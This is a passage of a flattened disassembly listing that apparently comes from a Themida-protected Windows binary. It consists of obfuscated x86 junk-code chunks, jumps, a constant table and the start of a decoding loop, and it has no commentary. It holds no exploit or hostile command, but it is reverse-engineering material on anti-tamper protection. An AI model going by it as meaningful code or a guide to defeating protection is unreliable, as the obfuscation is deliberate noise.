ebp, 8 not ebp neg ebp add ebp, 0FFB7E0F6h add eax, ebp jmp loc_58B8FC ; --------------------------------------------------------------------------- loc_5978D9: ; CODE XREF: Themida_:005944E0j mov edi, esp add edi, 4 push 7462h mov [esp], ebp mov ebp, esp push ecx mov ecx, 7DFE2404h jmp loc_596616 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_590B70 loc_5978F6: ; CODE XREF: sub_590B70-5BFAj mov ebp, 33004E0h sub ebx, ebp pop ebp and ebx, 43056AC2h xor ebx, 219D6319h jmp loc_58B146 ; END OF FUNCTION CHUNK FOR sub_590B70 ; --------------------------------------------------------------------------- loc_59790F: ; CODE XREF: Themida_:00590E36j add ebx, 75F257F4h mov ecx, ebx jmp loc_58B529 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5938B9 loc_59791C: ; CODE XREF: sub_5938B9+4222j jmp loc_58F72F ; END OF FUNCTION CHUNK FOR sub_5938B9 ; --------------------------------------------------------------------------- loc_597921: ; CODE XREF: Themida_:0058F9DCj sub ecx, eax sub ecx, 17AA6E21h pop eax push ecx jmp loc_58D400 ; --------------------------------------------------------------------------- loc_597930: ; CODE XREF: Themida_:005935F8j pop ebp sub esi, 65CE6BDDh jmp loc_597ACE ; --------------------------------------------------------------------------- loc_59793C: ; CODE XREF: Themida_:0058CDAEj add eax, 1FF801A7h inc eax sub eax, 0A3CBDEDDh add edi, 11597FC2h sub edi, 241B1AFBh sub edi, eax add edi, 241B1AFBh push eax jmp loc_58F792 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_58F5B5 loc_597961: ; CODE XREF: sub_58E3A6+17D3j ; sub_58F5B5+887j ... pop ebp add edx, eax jmp loc_5915ED ; END OF FUNCTION CHUNK FOR sub_58F5B5 ; =============== S U B R O U T I N E ======================================= sub_597969 proc near ; CODE XREF: sub_590467:loc_58EDDFj push ebx mov ebx, 0FFFFFFFFh jmp loc_592FE8 sub_597969 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_590467 loc_597974: ; CODE XREF: sub_590467-50F1j add ebp, 83ABD5A8h or ebp, 782F01D4h add ebp, 28EC676Dh jmp loc_58B3FA ; END OF FUNCTION CHUNK FOR sub_590467 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_58F5B5 loc_59798B: ; CODE XREF: sub_58F5B5+4DA4j pop ebp add esi, edi mov edi, [esp+0] add esp, 4 push 6EB9h mov [esp+0], esi push dword ptr [esp+0] jmp loc_595E16 ; END OF FUNCTION CHUNK FOR sub_58F5B5 ; --------------------------------------------------------------------------- loc_5979A4: ; CODE XREF: Themida_:00596995j jge loc_58AD05 jmp loc_593495 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_595123 loc_5979AF: ; CODE XREF: sub_595123+1BAj pop [esp+18h+var_18] jmp loc_58CFF1 ; END OF FUNCTION CHUNK FOR sub_595123 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59762D loc_5979B7: ; CODE XREF: sub_59762D-242Aj mov ebx, 0CF156FEh not ebx or ebx, 35813180h jmp loc_590C4B ; END OF FUNCTION CHUNK FOR sub_59762D ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_590467 loc_5979C9: ; CODE XREF: sub_590467-3B09j push esi push esp pop esi push edi jmp loc_58C233 ; END OF FUNCTION CHUNK FOR sub_590467 ; --------------------------------------------------------------------------- loc_5979D2: ; CODE XREF: Themida_:00594844j and eax, 18D7478Bh jmp loc_58D661 ; --------------------------------------------------------------------------- loc_5979DC: ; CODE XREF: Themida_:0059287Dj neg ecx not ecx jmp loc_58ED79 ; --------------------------------------------------------------------------- loc_5979E5: ; CODE XREF: Themida_:0058C722j pop dword ptr [esp] mov esp, [esp] btc [esp], ax pushf jmp loc_58A2CE ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5938B9 loc_5979F6: ; CODE XREF: sub_5938B9+463j add ebx, edx pop edx add ebp, ebx pop ebx add ebp, 4 jmp loc_5929C8 ; END OF FUNCTION CHUNK FOR sub_5938B9 ; --------------------------------------------------------------------------- loc_597A04: ; CODE XREF: Themida_:00591298j push ebx jmp loc_58DF77 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_58C17E loc_597A0A: ; CODE XREF: sub_58C17E-697j shr edx, 1 jmp loc_58CA07 ; END OF FUNCTION CHUNK FOR sub_58C17E ; --------------------------------------------------------------------------- loc_597A11: ; CODE XREF: Themida_:005918ACj sub si, 12D0h add si, 2D95h add ax, si pop esi sub esp, 4 mov [esp], edi mov di, 53BFh add di, 1 push ecx jmp loc_58DBE4 ; --------------------------------------------------------------------------- loc_597A33: ; CODE XREF: Themida_:00592FD1j sub ebx, 8EAED420h xor ebp, ebx pop ebx shr ebp, 1 shl ebp, 5 sub ebp, 646B57E5h sub eax, 473D23E6h add eax, ebp add eax, 473D23E6h mov ebp, [esp] add esp, 4 add eax, ebx jmp loc_597BB1 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59524C loc_597A63: ; CODE XREF: sub_59524C-5A5Bj pop ebx or eax, eax jz loc_58E839 push dword ptr [edi+1Ch] push [esp-4+arg_0] pop ecx sub esp, 4 mov [esp+0], eax push esp pop eax jmp loc_5920D4 ; END OF FUNCTION CHUNK FOR sub_59524C ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_595E21 loc_597A80: ; CODE XREF: Themida_:00593A6Cj ; sub_595E21-19D4j add [esp+18h+var_14], ecx pop ecx mov eax, [esp+14h+var_14] add esp, 4 jmp loc_595E0B ; END OF FUNCTION CHUNK FOR sub_595E21 ; --------------------------------------------------------------------------- loc_597A93: ; CODE XREF: Themida_:0058D3B0j mov [esp], eax mov eax, 68D853F0h and eax, 2BAE4E54h and eax, 6772446h push ebp mov ebp, 44h xor eax, ebp pop ebp sub esi, 1A084B09h add esi, eax add esi, 1A084B09h jmp loc_591C1F ; --------------------------------------------------------------------------- loc_597AC1: ; CODE XREF: Themida_:00596C49j add edx, esi pop esi sub eax, 0A3571D0h jmp loc_5902B2 ; --------------------------------------------------------------------------- loc_597ACE: ; CODE XREF: Themida_:00597937j add ecx, esi jmp loc_591F2B ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5938B9 loc_597AD5: ; CODE XREF: sub_5938B9-1905j and ecx, 2193139h ja loc_59791C jmp loc_58EAEC ; END OF FUNCTION CHUNK FOR sub_5938B9 ; --------------------------------------------------------------------------- sub ecx, eax xor cl, 38h push eax ; START OF FUNCTION CHUNK FOR sub_5938B9 loc_597AEC: ; CODE XREF: sub_5938B9-4DC3j push esi push ebx mov ebx, 1B3F7A77h jmp loc_58A3B9 ; END OF FUNCTION CHUNK FOR sub_5938B9 ; --------------------------------------------------------------------------- loc_597AF8: ; CODE XREF: Themida_:0059728Cj push eax push dword ptr [esp+4] pop eax pop dword ptr [esp] mov esp, [esp] mov cx, [esp] push ecx mov ecx, esp push ebx mov ebx, 67F3567h sub ebx, 6CD63853h shr ebx, 5 dec ebx neg ebx jmp loc_5976CC ; --------------------------------------------------------------------------- loc_597B22: ; CODE XREF: Themida_:00590C95j inc bp jmp loc_59606A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59762D loc_597B29: ; CODE XREF: sub_59762D-7F81j add ebx, edx pop edx push 17EAh mov dword ptr [esp-0Ch+arg_8], eax jmp loc_58A2CE ; END OF FUNCTION CHUNK FOR sub_59762D ; --------------------------------------------------------------------------- loc_597B39: ; CODE XREF: Themida_:00593644j push 88Ch jmp loc_596A03 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_592D25 loc_597B43: ; CODE XREF: sub_592D25-20B7j push edi mov edi, 2A6A22E5h mov ebp, edi pop edi add ebp, 78C266EDh jmp loc_58F47E ; END OF FUNCTION CHUNK FOR sub_592D25 ; --------------------------------------------------------------------------- loc_597B57: ; CODE XREF: Themida_:00597126j xor eax, 46551346h push esi mov esi, 0BC77E41h sub eax, esi pop esi push esi mov esi, 5C1726F7h xchg ecx, esi dec ecx xchg ecx, esi jmp loc_596508 ; --------------------------------------------------------------------------- loc_597B75: ; CODE XREF: Themida_:00594670j sub ecx, 23AB31F5h dec ecx sub ecx, 0ABEF97DAh add ebx, ecx pop ecx add ebx, 4 xchg ebx, [esp] pop esp xor ebx, 0C6560C33h jmp loc_59518A ; --------------------------------------------------------------------------- loc_597B97: ; CODE XREF: Themida_:loc_58EC67j add bp, 0EDEEh push edi mov di, bp mov si, di pop edi pop ebp sub ax, 2513h sub ax, si jmp loc_591897 ; --------------------------------------------------------------------------- loc_597BB1: ; CODE XREF: Themida_:00597A5Ej sub eax, 6FBA703Bh push esi push edx mov edx, 774A1DAAh xchg ecx, edx add ecx, 0FFFFFFFFh xchg ecx, edx push ecx jmp loc_58E8BC ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_58F836 loc_597BCD: ; CODE XREF: sub_58F836-B4Fj or eax, 55040E58h neg eax xor eax, 1AA1A10h push ebp mov ebp, 0A341ABB1h xor eax, ebp mov ebp, [esp+0Ch+var_C] jmp loc_58E296 ; END OF FUNCTION CHUNK FOR sub_58F836 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_595E21 loc_597BE9: ; CODE XREF: sub_595E21-478Fj add esp, 4 and eax, ecx mov ecx, [esp-4+arg_0] jmp loc_5942C0 ; END OF FUNCTION CHUNK FOR sub_595E21 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_590010 loc_597BF9: ; CODE XREF: sub_590010-1A8Bj sub edi, 4 jmp loc_58B77F ; END OF FUNCTION CHUNK FOR sub_590010 ; --------------------------------------------------------------------------- loc_597C04: ; CODE XREF: Themida_:00596155j xor [esp], si push ecx sub esp, 4 mov [esp], esp jmp loc_5970B6 ; --------------------------------------------------------------------------- loc_597C14: ; CODE XREF: Themida_:00594698j add ebp, 47FD63F7h add ebp, eax sub ebp, 47FD63F7h add ebp, 4F3A6CB6h push dword ptr [esp] pop eax add esp, 4 jmp loc_59153E ; --------------------------------------------------------------------------- loc_597C37: ; CODE XREF: Themida_:0058DB48j push esi push 7C6Dh jmp near ptr byte_58B4F3 ; --------------------------------------------------------------------------- loc_597C42: ; CODE XREF: Themida_:00595FE2j xor bl, cl jmp loc_58BBB2 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5938B9 loc_597C49: ; CODE XREF: sub_5938B9+232Aj add esp, 4 push esi jmp loc_58A45D ; END OF FUNCTION CHUNK FOR sub_5938B9 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_595123 loc_597C55: ; CODE XREF: sub_595123+1428j sub eax, 4FC95A1Eh push dword ptr [edi+eax*4] push [esp+4+var_4] jmp loc_592BDB ; END OF FUNCTION CHUNK FOR sub_595123 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_58C17E loc_597C65: ; CODE XREF: sub_58C17E+B70Aj or ebx, 1FA147B2h shr ebx, 1 jmp loc_58C1AC ; END OF FUNCTION CHUNK FOR sub_58C17E ; --------------------------------------------------------------------------- loc_597C72: ; CODE XREF: Themida_:00592AD2j mov ebx, [esp] add esp, 4 push ebp mov ebp, 2 add ecx, ebp jmp loc_5967AB ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_58C17E loc_597C85: ; CODE XREF: sub_58C17E+502Fj mov edx, 31B152B2h add ecx, edx pop edx jmp loc_58CFC1 ; END OF FUNCTION CHUNK FOR sub_58C17E ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_590467 loc_597C92: ; CODE XREF: sub_590467+4164j jnz sub_59089C push ebx mov ebx, 0FFFFFFFFh add esi, ebx jmp loc_592BA1 ; END OF FUNCTION CHUNK FOR sub_590467 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_594654 loc_597CA5: ; CODE XREF: sub_594654-5A8Ej pop esi pop [esp+0Ch+var_C] pop esp add edx, 2 sub esp, 4 jmp loc_58C0D8 ; END OF FUNCTION CHUNK FOR sub_594654 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_58C17E loc_597CBB: ; CODE XREF: sub_58C17E-244j sub ecx, 1A3025A4h mov [ecx], al jmp loc_5916BC ; END OF FUNCTION CHUNK FOR sub_58C17E ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_58F5B5 loc_597CC8: ; CODE XREF: sub_58F5B5-3C80j jbe loc_58B3F5 jmp loc_58D612 ; END OF FUNCTION CHUNK FOR sub_58F5B5 ; --------------------------------------------------------------------------- loc_597CD3: ; CODE XREF: Themida_:00593964j push 6ACC00F7h pop ebx dec ebx not ebx shr ebx, 8 jmp loc_595D42 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5916C4 loc_597CE4: ; CODE XREF: sub_5916C4+2j mov eax, 42AE666Eh mov ebp, 0E05A776h add ebp, eax pop eax jmp loc_592972 ; END OF FUNCTION CHUNK FOR sub_5916C4 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_58F5B5 loc_597CF6: ; CODE XREF: sub_58F5B5-4D6Bj jno loc_58D6C5 xor ebp, 347A4849h jno loc_594719 sub ebp, 4291057Dh jmp sub_5921D8 ; END OF FUNCTION CHUNK FOR sub_58F5B5 ; --------------------------------------------------------------------------- loc_597D13: ; CODE XREF: Themida_:00591325j sub cl, 31h mov ah, cl pop ecx push ecx jmp loc_58BEED ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5916CB loc_597D1F: ; CODE XREF: sub_5916CB+5333j xchg ebx, [esp+0] pop esp sub esp, 4 mov [esp+0], ebp push edx push ebp mov ebp, 5750E80h jmp loc_58F172 ; END OF FUNCTION CHUNK FOR sub_5916CB ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59762D loc_597D35: ; CODE XREF: sub_59762D-B28Aj mov [esp+0], bx push eax mov al, 26h mov bl, al pop eax push eax jmp loc_594048 ; END OF FUNCTION CHUNK FOR sub_59762D ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5916CB loc_597D45: ; CODE XREF: sub_5916CB+504Aj pop eax add ebp, 1 shl ebp, 2 push ecx jmp loc_58E5C6 ; END OF FUNCTION CHUNK FOR sub_5916CB ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_58F5B5 loc_597D55: ; CODE XREF: sub_58F5B5+4B9Cj push esp pop edi add edi, 4 push ebp mov ebp, 3F591169h xchg eax, ebp jmp loc_58E22C ; END OF FUNCTION CHUNK FOR sub_58F5B5 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_595BDA loc_597D69: ; CODE XREF: sub_595BDA-A9A6j ; Themida_:00594EBAj jnp loc_58AC50 shl esi, 2 jmp loc_5938EF ; END OF FUNCTION CHUNK FOR sub_595BDA ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5916CB loc_597D77: ; CODE XREF: sub_5916CB+3303j mov [esp+0], eax push 7E2Bh mov [esp+4+var_4], ecx push dword ptr [esp+4] pop ecx jmp loc_58C50F ; END OF FUNCTION CHUNK FOR sub_5916CB ; --------------------------------------------------------------------------- loc_597D8C: ; CODE XREF: Themida_:00596F66j mov [esp], esi jmp loc_5941ED ; --------------------------------------------------------------------------- loc_597D94: ; CODE XREF: Themida_:00595027j add bx, 3583h add bx, ax sub bx, 3583h jmp loc_58E449 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_58B4D6 loc_597DA6: ; CODE XREF: sub_58B4D6+6E8Ej add ebx, 2D747446h push edx jmp loc_58EF5A ; END OF FUNCTION CHUNK FOR sub_58B4D6 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_590467 loc_597DB2: ; CODE XREF: Themida_:0058AC03j ; sub_590467-167Cj mov edi, 413D2EFBh jmp loc_58D883 ; END OF FUNCTION CHUNK FOR sub_590467 ; --------------------------------------------------------------------------- loc_597DBC: ; CODE XREF: Themida_:00592E59j push small 782Ch pop cx sub cx, 21C9h jb loc_59629B add cx, 0CA32h mov bp, cx mov ecx, [esp] add esp, 4 sub bx, bp mov bp, [esp] add esp, 2 movzx eax, ax jmp loc_590CC9 ; --------------------------------------------------------------------------- loc_597DF0: ; CODE XREF: Themida_:00591649j jmp loc_58A2CE ; --------------------------------------------------------------------------- loc_597DF5: ; CODE XREF: Themida_:00596DD5j dec edx shr edx, 1 or edx, 42AB7548h neg edx jmp loc_59376D ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_58B4D6 loc_597E05: ; CODE XREF: sub_58B4D6+2D46j xchg edx, [esp+10h+var_10] pop esp push 3775h jmp loc_594DE0 ; END OF FUNCTION CHUNK FOR sub_58B4D6 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_58C17E loc_597E13: ; CODE XREF: sub_58C17E+662Ej push 6524558Ch pop edx jmp loc_594B2B ; END OF FUNCTION CHUNK FOR sub_58C17E ; --------------------------------------------------------------------------- loc_597E1E: ; CODE XREF: Themida_:00592C0Dj add esp, 4 sub esp, 4 mov [esp], ecx push ebx push ecx mov ch, 0CFh mov bh, ch mov ecx, [esp] jmp loc_593B09 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_58C17E loc_597E38: ; CODE XREF: sub_58C17E-500j mov [esp-0Ah+arg_4+2], edi mov edi, 66FD314Fh jmp loc_5903B3 ; END OF FUNCTION CHUNK FOR sub_58C17E ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_595BDA loc_597E45: ; CODE XREF: sub_595BDA-1081j mov esi, 281138E9h shl esi, 1 inc esi jmp loc_58DED8 ; END OF FUNCTION CHUNK FOR sub_595BDA ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_58C17E loc_597E52: ; CODE XREF: sub_58C17E+770Aj sub ebp, 159F6B74h pop edx shr ebp, 5 sub ebp, 35305ABh and eax, ebp push dword ptr [esp+0] pop ebp jmp loc_58FF50 ; END OF FUNCTION CHUNK FOR sub_58C17E ; --------------------------------------------------------------------------- loc_597E6D: ; CODE XREF: Themida_:005951EFj mov ebx, 3D053847h mov ebp, ebx pop ebx mov edx, 3D053849h jmp loc_58CF65 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_590010 loc_597E7F: ; CODE XREF: sub_58C17E-1C13j ; sub_590010+53Bj shl edx, 1 push ebp mov ebp, 1 push ecx mov ecx, esp add ecx, 4 sub ecx, 4 xchg ecx, [esp+0] pop esp mov [esp+0], ebx mov ebx, 24h add ebx, edi push eax push edx jmp loc_58C8DB ; --------------------------------------------------------------------------- loc_597EAB: ; CODE XREF: sub_590010-22DDj xor esi, 55980443h add eax, esi jmp loc_596ADA ; END OF FUNCTION CHUNK FOR sub_590010 ; --------------------------------------------------------------------------- loc_597EB8: ; CODE XREF: Themida_:0058E7BDj ; Themida_:00590FBCj rol byte ptr [esp], cl pushf jmp loc_58A2CE ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_590010 loc_597EC1: ; CODE XREF: sub_590010-F0Aj push ax pushf jmp loc_58A2CE ; END OF FUNCTION CHUNK FOR sub_590010 ; --------------------------------------------------------------------------- loc_597EC9: ; CODE XREF: Themida_:00595074j push esp pop ecx jmp loc_58EC82 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5EC2E8 loc_597ED0: ; CODE XREF: sub_5EC2E8-55F2Aj not dh dec dh sub dh, 23h jmp loc_58BD84 ; END OF FUNCTION CHUNK FOR sub_5EC2E8 ; --------------------------------------------------------------------------- lodsd push ebx jmp loc_58AE49 ; --------------------------------------------------------------------------- loc_597EE3: ; CODE XREF: Themida_:0059607Bj shl dx, 5 shl dx, 3 jmp loc_596E88 ; --------------------------------------------------------------------------- loc_597EF0: ; CODE XREF: Themida_:0058F1CEj shl edi, 6 or edi, 7CF721FEh shl edi, 1 add edi, 7CFA646Ch xor edi, 2159D00Fh xor esi, edi mov edi, [esp] add esp, 4 sub ebp, esi mov esi, [esp] jmp loc_597506 ; --------------------------------------------------------------------------- loc_597F1C: ; CODE XREF: Themida_:loc_591375j add ecx, 3EE91676h jnb loc_58EE18 inc ecx jmp loc_594AD9 ; --------------------------------------------------------------------------- and dh, 0A5h mov ebp, edi loc_597F33: ; CODE XREF: Themida_:00591E55j sub esp, 4 jmp loc_593A03 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_58F5B5 loc_597F3B: ; CODE XREF: sub_58F5B5+6739j push [esp-8+arg_4] jmp loc_5969BC ; END OF FUNCTION CHUNK FOR sub_58F5B5 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5916C4 loc_597F43: ; CODE XREF: sub_5916C4+3DD7j pop edi add eax, 44230C85h sub eax, esi sub eax, 44230C85h mov esi, [esp-0Ch+arg_8] add esp, 4 sub esp, 4 jmp loc_596CC1 ; END OF FUNCTION CHUNK FOR sub_5916C4 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5EC2E8 loc_597F61: ; CODE XREF: sub_5EC2E8-552F8j mov dl, al pop eax neg dl jmp loc_58A82E ; END OF FUNCTION CHUNK FOR sub_5EC2E8 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_590010 loc_597F6B: ; CODE XREF: sub_590010-534Bj jmp loc_58A2CE ; END OF FUNCTION CHUNK FOR sub_590010 ; --------------------------------------------------------------------------- loc_597F70: ; CODE XREF: Themida_:loc_5956D6j sub dh, 0B2h jmp loc_58B66F ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_595655 loc_597F78: ; CODE XREF: sub_595655-8C13j not eax inc eax sub eax, 0BA73FD3Eh add esi, eax pop eax push edx mov edx, 6CCA5E18h sub edx, 0D575D43h and esi, edx pop edx jmp loc_59440A ; END OF FUNCTION CHUNK FOR sub_595655 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59524C loc_597F97: ; CODE XREF: sub_59524C-3FD1j sub ebx, 26473568h sub ebx, ecx jmp loc_58AFD0 ; END OF FUNCTION CHUNK FOR sub_59524C ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5938B9 loc_597FA4: ; CODE XREF: sub_5938B9-6300j pop ecx add edi, ecx add edi, 66FE2553h push eax jmp loc_593BE4 ; END OF FUNCTION CHUNK FOR sub_5938B9 ; --------------------------------------------------------------------------- loc_597FB3: ; CODE XREF: Themida_:loc_592DD7j push ebp jmp loc_593F2B ; --------------------------------------------------------------------------- loc_597FB9: ; CODE XREF: Themida_:00590F89j add esi, 117B0109h mov ecx, [esp] add esp, 4 jmp loc_595962 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_590467 loc_597FCA: ; CODE XREF: sub_590467-533Aj mov edi, [esp+0Ah+var_A] push edi mov edi, esp add edi, 4 add edi, 4 xchg edi, [esp+0] pop esp sub edi, 1FF7741Eh jnz loc_59703D sub edi, 0C0E3F7C9h jmp loc_592777 ; END OF FUNCTION CHUNK FOR sub_590467 ; --------------------------------------------------------------------------- loc_597FF7: ; CODE XREF: Themida_:005942BBj xor eax, esi jmp loc_58E69E ; --------------------------------------------------------------------------- loc_597FFE: ; CODE XREF: Themida_:0058BF54j mov al, 94h push ebx mov bl, al push eax mov al, bl mov dh, al pop eax pop ebx jmp loc_596C13 ; --------------------------------------------------------------------------- loc_59800F: ; CODE XREF: Themida_:0058ED04j xchg ebp, [esp] pop esp jmp loc_58F396 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_58C17E loc_598018: ; CODE XREF: sub_58C17E+49DDj pop ebx push esi jmp loc_58E5EE ; END OF FUNCTION CHUNK FOR sub_58C17E ; --------------------------------------------------------------------------- loc_59801F: ; CODE XREF: Themida_:0058DC14j xchg edx, [esp] pop esp jmp loc_595E52 ; =============== S U B R O U T I N E ======================================= sub_598028 proc near ; CODE XREF: sub_58C17E+3717j var_4 = dword ptr -4 ; FUNCTION CHUNK AT 00591866 SIZE 00000011 BYTES ; FUNCTION CHUNK AT 00596914 SIZE 0000000F BYTES sub esp, 4 jmp loc_596914 sub_598028 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_58C17E loc_598030: ; CODE XREF: sub_58C17E+976Dj push 4811h mov [esp+0Ah+var_C+2], eax sub esp, 4 mov [esp], esp add dword ptr [esp], 4 pop eax push ebx mov ebx, 58A13B59h sub ebx, 51711A3Bh sub ebx, 730211Ah add eax, ebx jmp loc_58CBDC ; END OF FUNCTION CHUNK FOR sub_58C17E ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_590010 loc_59805F: ; CODE XREF: sub_590010+CB4j pop ecx jmp loc_58C5DA ; END OF FUNCTION CHUNK FOR sub_590010 ; --------------------------------------------------------------------------- align 2 dw 5F28h dd 5BA36300h, 5F352300h, 12FF4C00h, 90EB9400h, 74248B7Ch dd 0F8h, 21300h, 200h, 100h, 300h, 74248B00h, 0F8h, 4 dup(0) dd 5A8DB400h, 59897200h, 598DD600h, 59999300h, 5AA2DD00h dd 5A122500h, 5A025B00h, 59B09F00h, 59965D00h, 5A0C3200h dd 59DDD000h, 5A648400h, 599A5200h, 59EEF500h, 5A924A00h dd 5AB33D00h, 5AC46D00h, 5A26C300h, 599B1A00h, 5A4D1F00h dd 5A08DA00h, 5A96B400h, 5A7DC800h, 5A0B0100h, 5AE43D00h dd 5AE99C00h, 5A479200h, 59BF6900h, 5A983000h, 59907400h dd 5A7B4D00h, 5A1E6100h, 5A18C100h, 5A2C9500h, 5A6B7500h dd 5A404A00h, 5ABF7A00h, 5A6F8D00h, 5A942C00h, 59AD8B00h dd 5A529500h, 59F43D00h, 5A970900h, 59AB1B00h, 5A3FD800h dd 5A29D000h, 5990EA00h, 5A239200h, 5A0B4800h, 59D4C200h dd 59E89A00h, 5A3FBB00h, 5A662B00h, 5AD15F00h, 5A490900h dd 59D03100h, 5A5E2200h, 59B00A00h, 5A50E000h, 5A8E3100h dd 5AE58400h, 59B08400h, 59BC7800h, 5AE9BC00h, 5A089500h dd 5A671400h, 5AB7ED00h, 5A7C3F00h, 5ADD9800h, 59AE7A00h dd 5A8C5000h, 59B19D00h, 59E07900h, 5A6BCB00h, 59E2FC00h dd 5ADC3600h, 5A88AA00h, 5A2D0300h, 5AC80F00h, 5A00EB00h dd 5985E200h, 59C24000h, 5AA68400h, 5AC75F00h, 5A161300h dd 59A14B00h, 59A06D00h, 599A7800h, 5A397900h, 5A5DBE00h dd 5A758C00h, 5AF32100h, 5A60F600h, 59B2F900h, 5AA4DF00h dd 59F4EC00h, 5A190D00h, 5995C600h, 5A03EE00h, 5A60D600h dd 5A9C9B00h, 5A03B400h, 59C63F00h, 59E8C100h, 5AD60900h dd 5A563600h, 59A1B700h, 5AE30700h, 59D05000h, 59C66C00h dd 5A56F200h, 5AA09B00h, 5A3B2500h, 5A9CDB00h, 5A350900h dd 5ADC1200h, 59C8DF00h, 5AE81600h, 5ABD6100h, 5A6D9500h dd 59AE7400h, 5A4DF700h, 5AA2A200h, 5AD1C100h, 5AAA3C00h dd 5A098300h, 5A466200h, 5A474900h, 5ADA7800h, 5A2BE800h dd 5AE52F00h, 5A1BDA00h, 5AB85400h, 5AC66C00h, 5A92A300h dd 5A535700h, 59D52000h, 5A4D9500h, 5AADE600h, 59D64000h dd 5A2B1700h, 5ADDFD00h, 59C5D500h, 5A813F00h, 59C88E00h dd 59ED8E00h, 5ABFE500h, 5A92C000h, 5A906500h, 5A10C600h dd 59CFCE00h, 5A8C9400h, 5A0CC100h, 59C4E800h, 5A2B2500h dd 59DEB700h, 5AE08A00h, 59CF7000h, 5A9FA100h, 5A14AD00h dd 5AE75F00h, 59BF8800h, 5A66E100h, 5AF01B00h, 5A522500h dd 5AC40E00h, 5A976300h db 0 ; --------------------------------------------------------------------------- loc_598345: ; CODE XREF: Themida_:005DF91Ej ; Themida_:005DF928j ... pusha pushf cld call $+5 pop edi sub edi, 7E55EC2h mov eax, edi add edi, 7E55BDAh cmp eax, [edi+2Ch] jnz short loc_598363 jmp short loc_598376 ; --------------------------------------------------------------------------- loc_598363: ; CODE XREF: Themida_:0059835Fj mov [edi+2Ch], eax mov ecx, 0A7h jmp short loc_598372 ; --------------------------------------------------------------------------- loc_59836D: ; CODE XREF: Themida_:00598374j add [edi+ecx*4+40h], eax dec ecx loc_598372: ; CODE XREF: Themida_:0059836Bj or ecx, ecx jnz short loc_59836D loc_598376: ; CODE XREF: Themida_:00598361j mov esi, [esp+24h] mov ebx, esi add esi, eax mov ecx, 1 loc_598383: ; CODE XREF: Themida_:0059838Aj xor eax, eax lock cmpxchg [edi+30h], ecx jnz short loc_598383 loc_59838C: ; CODE XREF: Themida_:00598637j ; Themida_:0059867Dj ... lodsb add al, 0E5h push ecx sub esp, 4 mov [esp], ebx mov bh, 5 mov cl, 0C4h sub cl, bh pop ebx shl cl, 3 jz loc_598893 push ecx not byte ptr [esp] pop ecx jmp loc_599B67 ; --------------------------------------------------------------------------- loc_5983B3: ; CODE XREF: Themida_:0059B013j push 99E6F38h pop ebx jmp loc_5A7870 ; --------------------------------------------------------------------------- loc_5983BE: ; CODE XREF: Themida_:005A49B6j jmp loc_5AB2F9 ; --------------------------------------------------------------------------- loc_5983C3: ; CODE XREF: Themida_:005A3D72j push ecx mov ecx, 0AD80098h sub ebx, ecx pop 